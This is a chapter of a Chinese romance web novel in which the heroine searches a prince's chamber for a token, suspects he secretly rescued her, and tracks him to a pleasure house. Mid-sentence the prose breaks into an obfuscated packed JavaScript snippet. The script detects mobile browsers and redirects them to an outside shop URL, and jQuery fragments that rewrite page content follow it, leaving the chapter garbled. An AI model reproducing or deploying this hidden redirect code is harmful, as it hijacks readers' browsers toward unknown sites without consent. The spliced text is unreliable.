11. 恰逢故人来
作品:《替嫁了暗恋我的阴湿男鬼》 霜儿捧着放斗篷的檀盒,一路跟着纪棠明来到了含章殿。不出所料,果然在殿外被青刃青锋两个拦住了。
青刃执剑行礼:“还望娘娘见谅,殿下今日去了宫外,并不在殿中。”瞥见霜儿手中的物什,又补充道:“若是给殿下送东西,直接给我就好。”
纪棠明早有准备,含笑道:“近日天凉,我特来给殿下送斗篷,只是这料子细软昂贵,须得熏蒸一番才能挂起来,否则便会皱了,再难恢复原样。”
纪棠明敛袖抬了抬手,示意霜儿将盒子打开,霜儿揭开檀盒盖子,里面轻叠着的斗篷上已有些皱巴巴的细纹。
她佯装讶异,素手轻拂过料子,面露惋惜:“这斗篷前几日一直在风阴处挂着,不曾想,仅是这一会儿便成如此模样了。”
纪棠明视线转向青刃:“此物须隔火置香,炭饼烧红入炉,香灰盖火,上放云母片,再放龙脑合香香丸,徐徐熏蒸,慢出烟,切不可耽搁。既如此,那便劳烦二位了。”
青刃的嘴角微微抽了抽,与青锋对视一眼,冲纪棠明笑道:“我与青锋不懂这些,恐弄坏了娘娘的心意,不如娘娘与侍女一同进去处理,也好安心。”
两位侍卫让开殿门,纪棠明见计谋得逞,弯了眉眼,便带着霜儿进了寝殿内。
与她想象中不同,段则煜的寝殿装饰陈设极为简单,较她的屋子还空旷许多。
斜窗外透进几缕斑驳的日光洒在窗前桌案上,案上几只毛笔笔锋未开,似乎是从未用过。
纪棠明的目光一一扫过桌上、书柜,连不常动的边边角角也摸了个遍,倒是发现不少暗格,只是里面放的是一些零碎的小物件,并不见令牌。
视线瞥过床榻时,纪棠明心下微动,径直走了过去。她将枕头拿到一边,弯着腰将手伸进被子底下摸索,可是摸了半天什么也没摸着。
手摸索到床榻靠墙那侧的边缘时,纪棠明忽然一顿,指尖触碰到了一样物什。她踮了掂脚,伸直胳膊将它从被子里捞了出来。
是一枚荷包。
荷包通体青绿色,绣线歪歪扭扭,绯色绿色的针线交织着,纪棠明看了半天才发现绣的似乎是海棠,绣工极烂。
大抵是段则煜的哪个心上人给的。
不知为何,纪棠明一看见这枚荷包,就产生了这样的想法。她装作若无其事,又将那枚荷包塞回了原处,只当从没看见过。
像他这般年纪,又生得好相貌,有个爱而不得的心上人并不奇怪。画本子里不都是这么写的么?纪棠明并不意外。
段则煜的东西不多,寝殿甚至看不出有生活气息。纪棠明又去其他地方翻箱倒柜找了好半天,直到霜儿都熏完斗篷出来,她也没看到令牌放在了何处。
霜儿见状,也环视了一圈,猜测道:“会不会是二皇子带在身上?”
纪棠明沉思片刻,缓缓点了点头。
霜儿放下斗篷,坐在了她旁边:“主子,也莫要太过担心了。大理寺那边有尚书府帮扶着,如今又还未定罪,老爷夫人他们肯定会没事的。”
纪棠明摇了摇头:“姨母嘴上说着帮忙,却从来不主动捎信给我。祖母每年这时都会犯腿病,若是他们真心想帮忙,了解狱中境况便知祖母疾病缠身。他们若替祖母请了大夫,哪里有帮忙还瞒着我的道理?”
霜儿听闻,神情也耷拉了下来,觉得有道理。小小姐才那般大,想必也受不了狱中苦寒。
眼下气候寒冷,祖母挨得了一周,却挨不了一个月。纪棠明前些日子发高热,昏昏沉沉耽搁了好些日子,如今不能再拖了。
纪棠明才起身,偶然瞥见内室西侧立柜下摆着一柄寒剑,剑身泛着凌冽的青光,耀耀夺目,吸引了她的视线。
霜儿抱着斗篷去熨烫熏蒸,纪棠明走到架子前端详着这柄剑,心下生疑。
二皇子并不会武功,为何会在屋子如此惹眼的位置放一柄剑?
纪棠明不懂兵器,瞧不出这柄剑锋芒如何,端详半天也没看出个所以然,本不欲在上面费心思,转身离开时脑海中却有一个画面一闪而过。
那天抵着她的剑与桌案上这柄剑渐渐重叠,纪棠明脑中嗡地一声,忽然乱了呼吸,心下有一个猜测渐渐分明。
可惜那日她并未看清那柄剑是何模样,不好笃定。若接她出去那人是二皇子,他的左手掌心关节处定然是没有茧的。
若真是二皇子,莫非他……其实一直都知道自己的身份?纪棠明的心狂跳起来,胸中似有热流上涌。
纪棠明等不到段则煜回宫,当即决定去寻他,好解了心中疑虑。
出了寝殿,纪棠明向青刃与青锋打问二皇子的去向,两个侍卫却相视一眼,支支吾吾似有难言之隐。
“我有重要的事要找殿下,他究竟去了何处?”
“文渊阁。”
“演武场。”
二人几乎同时脱口而出,话音刚落,才发觉所说不一致,诧异地盯着对方。
青刃看了青锋一眼,有些窘迫地摸了摸鼻子:“娘娘恕罪,兴许是我记错了。往日这个时候,殿下都是去文渊阁,若不在文渊阁……便是在长乐坊的花楼。”
纪棠明心下了然,却没有去文渊阁,而是径直去了花楼。
待她走后,青锋抬脚狠狠踹了青刃一脚。
“主子平日里不是去文渊阁,而是去演武场的事,怎可让别人知道?”
青刃捂着墙,吃痛道:“皇子妃也是别人?!你不知道收着点力……”
……
马车辘辘停在了雕梁画栋的花楼前。
檐角系着银铃的小楼彩绸满天,好不气派,此地连空气中都弥漫着一股胭脂香气,楼内莺声燕语,歌舞不停。纪棠明不必问,便知此地是作何用处的。
霜儿第一次来到这种场所,一时站在门口看愣了神,回过神才惊觉主子已然走远,忙提裙匆匆追了上去。
门口未见来客,只有一位迎客的姑娘。姑娘生得花容玉貌,见纪棠明来,盈盈一礼:“敢问娘子名讳?”
纪棠明没怎么想便脱口而出:“明玉。”
迎上霜儿隐含笑意的目光,纪棠明偏过头,淡定道:“冰清玉洁的玉。”
那姑娘记下名字,眉眼含笑,打量了她一番。从未听过京中有姓明的勋贵人家,见纪棠明今日穿着素雅,发钗也只带了一只,瞧着不像什么大富大贵人家,便道:“照例来说我家不接待寻常平民,可有贵重物件抵押?”
纪棠明今日出门得急,身上没有带钱两玉佩,沉思片刻,便取下了头上那支簪水月珠的发钗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405676|200490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
递给了她。
拿近了细看来才发现这并非普通的钗子,那姑娘面露慌张,连忙颔首行礼:“奴婢方才失礼了,花楼的规矩便是如此,还望小姐海涵。小姐这边请。”
纪棠明也愣住了,悬在空中的手顿了几息,又将发钗戴了回去。
她从前不知什么是水月珠,如今看来这发钗远比她料想中还要贵重。
二人随着带头的姑娘往里走,楼门已是修得气势恢宏,没想到入门便是玉石铺地,楠木穹顶高悬。
三人绕过层层轻薄纱幔,每迈一步,内里泉水漱石般悦耳的歌声便清晰一分,走至深处,才见宽阔厅堂中央有一雕栏花台,几位身形婀娜的女子在台上扭动着柳腰,底下宾客无一不高声喝彩。
领着她们进来的姑娘将她带至内堂便福礼告退,纪棠明环视内堂,堂中围绕花台摆着无数沉香桌椅,壁上挂名人字画,处处点缀珠玉,一派歌舞升平的繁华气象。
端着各色珍馐的姑娘们蒙着面依次上菜,只露一双盈盈含水的美眸示人,反而平添几分神秘。
纪棠明寻了处僻静的角落落座,随手拉住了身旁路过的侍女:“敢问今日可有什么贵客来?”
侍女眸中含笑,道:“小娘子许是第一次来,到我们这的贵客,没有以真名示人的。不知小娘子想找谁?”
纪棠明想了想,描述道:“是位公子,弱冠年岁,模样……生得丰神俊朗,大抵常穿浅色衣裳。”
那侍女轻笑了两声:“合您描述的公子,我们这里有两位,恰好二位今日同在雅间。喏,就是那里。”
侍女素手一抬,指了指二楼南侧那间被屏风掩着的雅座。
纪棠明道了声谢,让霜儿留在此处等着她,她寻了上楼的路去。
一路上,纪棠明悄悄打量着此地。虽是听曲赏舞的场所,这里却只接待豪门显贵,来往的宾客人不算多,皆衣着不凡。
她沿着楼阁到了方才那侍女所指的雅间门口,从这里往下看,花台一览无余,视野极好,恰是最适合赏舞的地方。
屏风后隐隐传来古琴声,琴音铮铮,颇有万军压城兵器相鸣之势。与这处处充满柔情蜜意的花楼着实不般配,纪棠明不禁挑了挑眉。
她站在门口斟酌言辞,终了,还是镇定心神,还是决定直接进去。
刚迈出一步,便被旁边从屏风后绕出来的两位侍女拦住了。
“雅间不许闲杂人等闯入,敢问姑娘有何贵干?”
“来寻一个人。”纪棠明平复呼吸,尽量让自己看起来游刃有余一些。
“叫何姓名?可有信物?”
纪棠明顿了顿,她不知段则煜在此处的化名是什么,只得斟酌道:“……不知。但那位公子认得我,可否让我进去看一眼?”
其中一位侍女嗤笑道:“我们这里,想见那位贵人的女子可不少。姑娘请回吧。”
纪棠明咬着唇,盯了那道屏风一会,才不甘地迈开了腿,欲另寻他法。
若是不问清楚,她今夜怕是要睡不着了。
还未走出几步,身后忽而传来一道熟悉的声音唤住了她,那声音略带疑惑和试探:
“……你怎会在此?”
纪棠明猛然回头,闯入眼帘的,却是一位出乎意料的故人。

